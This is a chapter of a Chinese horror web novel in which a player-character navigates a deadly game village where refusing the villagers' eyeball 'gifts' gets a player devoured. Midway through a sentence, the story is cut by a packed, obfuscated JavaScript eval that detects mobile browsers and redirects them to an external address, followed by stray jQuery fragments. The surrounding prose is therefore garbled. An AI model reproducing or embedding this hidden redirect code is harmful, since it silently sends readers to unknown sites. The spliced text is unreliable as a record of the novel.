安居一夜浅眠。


    清晨，又一阵剧烈的敲门声吵醒了安居。


    安居叹了口气，摸上后腰，将枪握在手里，轻轻推开了一道门缝：“又是谁？”


    浓雾中，一张急切的年轻人的脸挤了进来。


    “古董商？”年轻人背着一个小挎包，报童帽压低遮住了半张脸，“我是邮差，有您的一封信，能不能让我进去详谈？”


    他说得不明不白，但安居已经认出来了，这是个玩家。——因为他穿着一套摇粒绒睡衣，上面还绣着一个大大的米老鼠图案，图案怪怪的，恐怕是拼夕夕上买的盗版。


    穿着睡衣下副本？这不仅是个玩家，恐怕还是个湖南玩家。


    安居迅速打开门，放摇粒绒进来。


    “你也是玩家吧？”摇粒绒显而易见地开心起来了，“我靠你简直不知道我昨晚都经历了什么……”


    安居打断他的絮叨：“你是看了我留在酒馆的告示找来的吗？”


    “对对对，”摇粒绒挠挠头，“我的角色是邮差，能光明正大地去挨家挨户敲门，我昨晚跑了一圈，除我之外，还找到了一个玩家。”


    摇粒绒闪身，将身后的人也拉了进来，是个戴眼镜的平头小子，很腼腆内向的样子。


    安居问：“你又是什么角色？”


    “灯塔看守……但我太害怕了，那个灯塔里一个人也没有，很黑，很恐怖，我不敢多待，跑出来了。”平头男懦懦地说。


    安居皱了皱眉：“你完成第一个任务没有？”


    “第一个任务？”平头男迟疑着，摇了摇头，“没有，没有任务啊。”


    安居心道不好，邮差乱跑乱逛，在他的身份里还算合理，就算错过了任务也有托辞。但是灯塔看守擅离职守，这个人设很明显已经OOC了。


    安居提醒道：“快点回灯塔，要触发第一个任务，不要做违背灯塔看守角色人设的事情，比如大白天的，在外面乱跑。”


    平头男意识到了问题的严重性，脸色一白，转过身拔腿就跑。


    摇粒绒拉住安居就往外跑：“咱们一起去，咱帮帮他。”


    ……好热心的一个人。


    三个人冲到街上。


    昨夜那吞噬一切的死寂感消失了，取而代之的是一种过分活泼的喧嚣。


    仍旧有浓雾淡雨，但街道上人来人往，热闹极了。


    女士们撑着伞，手里牵着孩子，低声谈笑；渔民们穿着长筒渔靴，嘴里叼着雪茄，背着鱼获，彼此脱帽致意。几个落魄的水手，手里还拎着喝了一夜的海盐特调，摇摇晃晃站在地上。


    这里是海默村，一如系统里介绍的那样，人心淳朴，平淡美好。


    三人行色匆匆，走在街上，安居撑开一柄古董黑伞。——鬼知道这里的雨啊雾啊，里面有些什么，酒神信徒，最强的招数就是致幻，不得不防。


    “女士，看看蕾丝花边吗？都是我手工编织的，很新，很漂亮。”一个声音叫住安居。


    安居抬头看，是个年轻的女织工，一头漂亮的棕色卷发，笑容明媚。


    “没错没错，每卷只要160比索。”另一个声音在织工蓬松的卷发间传出来，是另一颗头，只是头上的发丝是漂亮的金色。


    这是个双头连体人，两颗头一金一棕，都冲着安居明媚微笑着。


    “我喜欢有年头的古物，这些蕾丝很美，但太新了。”安居时刻不忘自己的人设。


    “哦，是的是的，她是位古董收藏家。”“不是我们的蕾丝不够好，只是太新了。”“注意你的言辞，格蕾丝，是【我】的蕾丝。”“你说什么就是什么吧，简，好吧，是【你】的蕾丝。”双头女工不再招呼安居，坐下来，两颗头凑在一起，互相埋怨着。


    她继续钩织蕾丝。


    左手的手指翻飞，一串木梭发出叮叮咚咚的声音，淡金色的、繁复精美的蕾丝花边，就这样铺就出来，在阳光下闪烁着细腻的光泽。


    ——她也是个左撇子。


    女工哼着轻快的小调，手指勾住另一颗副头上的一团金发，狠命一扯，发根带下一小块带血的皮肉。她丝毫无觉，将那缕沾着血丝的头发娴熟地绕在梭子上，继续编织。她低头的时候，安居这才看见，有着金色长发的副头，头顶已是血迹斑斑，露出粉红色的头皮，但她的脸上洋溢着满足的微笑。


    “走了！快！没时间了！”摇粒绒猛地扯了安居的胳膊一下，将她带离了摊子。


    只是人实在太多太热闹了，不长的十字长街，三个人艰难地在人群中挤来挤去。


    隔壁摊子在卖海鲜鱼获，三人又被拦截了。


    牡蛎，青贝，还有蛤蜊，各色贝类，密密麻麻，疱疹一样吸在大块礁石上，还彼此附着。贻贝攀附礁石，藤壶吸在贻贝的壳上，更小的蛤蜊壳又寄生在藤壶的缝隙里，一层压着一层，一圈套着一圈。


    “尝尝吗？最新鲜的好货。”


    摊主呲牙笑笑，掰下一颗藤壶，吃给三人看。他掰开藤壶壳，拨开缝隙里钻出来的一圈零落黑毛，吮吸里面的贝肉，然后“啊”地张开嘴，给众人瞧。他嘴里含着的，是一颗Q弹的眼睛，一颗灰白色的死人眼珠。


    摊子旁边有两张架着阳伞的小桌，几个妇人正在进食。像是以前猫冬的北方人，盘坐炕头，抱着一整盘向日葵嗑瓜子一样，这些妇人们三三两两，抱着巨大的礁石，磕着藤壶。


    礁石上一圈一圈，长满了眼珠，稀稀疏疏的黑色睫毛，支支棱棱地钻出来。


    “来一颗吗？”一个老妇人拦住众人，尖利的指甲抠出一枚眼珠子，递到平头男眼前。


    安居光是看着就快要吐了。


    这谁敢吃？平头男连连摆手，敬谢不敏。


    然而下一刻，随着平头男的摇头拒绝，所有言笑晏晏的村民们，脸色突然一变。


    挤挤挨挨的人群猛地扭头，像昨夜酒馆中一样，密密麻麻地盯住了人群中的三个人。


    平头男被这阵仗吓得连连后退数步。


    不知从哪里传出来细细密密的祷告声：“慈爱的母神啊，你敕令一切世人都应该深爱、帮助一切世人，可沐您神恩之地竟有此悖逆神恩之人……秉承母神教谕，杀死不受神恩之人！”


    众人呆滞地怒视着平头男，声音刻板，表情一致，齐齐出声赞颂。


    “秉承母神教谕，杀死不受神恩之人！”


    “秉承母神教谕，杀死不受神恩之人！”


    “秉承母神教谕，杀死不受神恩之人！”


    仇恨地盯着三人赞颂谶言的，有昨晚宽厚的屠户，有明媚年轻的双头纺织女工，有无数看似正常的温柔平和的人。


    安居上前一步，护住平头男，然而下一刻，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133147|189127||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    剧烈的哀嚎声自她身后响起。


    暗红色没有皮肤的触手，血淋淋地自浓雾中游出，海蛇一般绞缠在平头男身上，平头男还来不及反应，身体已经被瞬间撕扯成一团血雾。


    鲜红的触手们张开顶部的肉芽，撕扯着平头男的尸体，只是几个瞬息，分食完毕，地面上连一滴鲜血也没有了。


    触手们退回了浓雾之中。


    “滴——”


    “恭喜玩家触发规则二：这个村庄的居民互相施与，绝不会拒绝彼此的馈赠。”


    安居大口大口喘息着，久久回不过神来。


    那些村民又迅速恢复了“正常”。


    一个老妇人慈爱地笑着，走上前来，皴裂的手掌握住了安居的手：“别怕，孩子，母神自会驱逐一切不受慈恩的外来者。而我们，会永沐神恩。”


    “来吧，孩子们，别拒绝神的恩慈。”


    老夫人将一枚冰凉的眼珠放在安居的手心里，对她和摇粒绒露出微笑。


    “吃啊，孩子们，这是神的恩慈。”老妇人走上前，脸色慈爱，但谁也不敢拒绝。


    摇粒绒双手不停颤抖，含着眼泪，接过那枚眼珠，硬塞进了嘴里，一闭眼，强行吞咽了下去。


    “哕——呕——”


    摇粒绒趴在一边，整个人都快吐了。


    “你呢？”老妇人微笑着看向安居。


    安居手指虚放在嘴边，照例搓成了饵料，假装吃了。


    老妇人满意地笑了笑，一切又回归了正常和安宁。


    最好还是不要碰这个副本的饮食，这里的人们认知诡异，天知道这些食物究竟是什么，有没有被污染。


    平头男死了，她们也不用再去灯塔。摇粒绒被吓破了胆，脸色惨白。


    “我不要出门了，我要回去，我要躲在屋子里，我不会再出门了。”


    摇粒绒不顾安居的阻拦，颤颤巍巍，飞奔也似的，一溜烟跑入了雾中。


    好在NPC们也没有起疑，自顾自地给出了符合人设的解释：“这孩子，怕是急着送信去吧，真是位合格的邮差。”


    安居愣在原地。


    “孩子，你准备到哪里去？”老妇人再次笑问。


    安居不敢不回答，天知道这里有没有“必须回应居民问话”之类的规则。她连忙回应：“我想去酒馆看看。”


    她拢了拢衣领，小心翼翼绕过行人，往酒馆的方向走去。


    不知是不是她的错觉，那无所不在的潮声，似乎比昨夜更加清晰了。它不再甘做背景白噪音，而是试图随着这座小镇，共同呼吸，一起心跳。


    安居活动了活动僵硬的肩背，开始想念她的冰镇可乐了。


    可惜，安居摇了摇头，出发前胖子特意给她补了货，满满一格子的可乐罐，如今系统背包还是锁着，一瓶也拿不出来。


    酒馆门前，公告栏下，安居亲自贴上去的公告下面写了一行字。安居心里一紧，生怕写得是中文，被人发现端倪。她快步上前，走近细看。


    ——这是池渔的留言。


    不过还好，小孩儿还算聪明，看懂了安居的提醒。这是一行镜像的反字，像是自拍镜头拍出来的，外国人看来简直是一圈鬼画符，但伟大的象形文字救了大命，安居还是看懂了。


    这行字是：“鼠尾草巷，安宁药局。大佬救我！求捞！”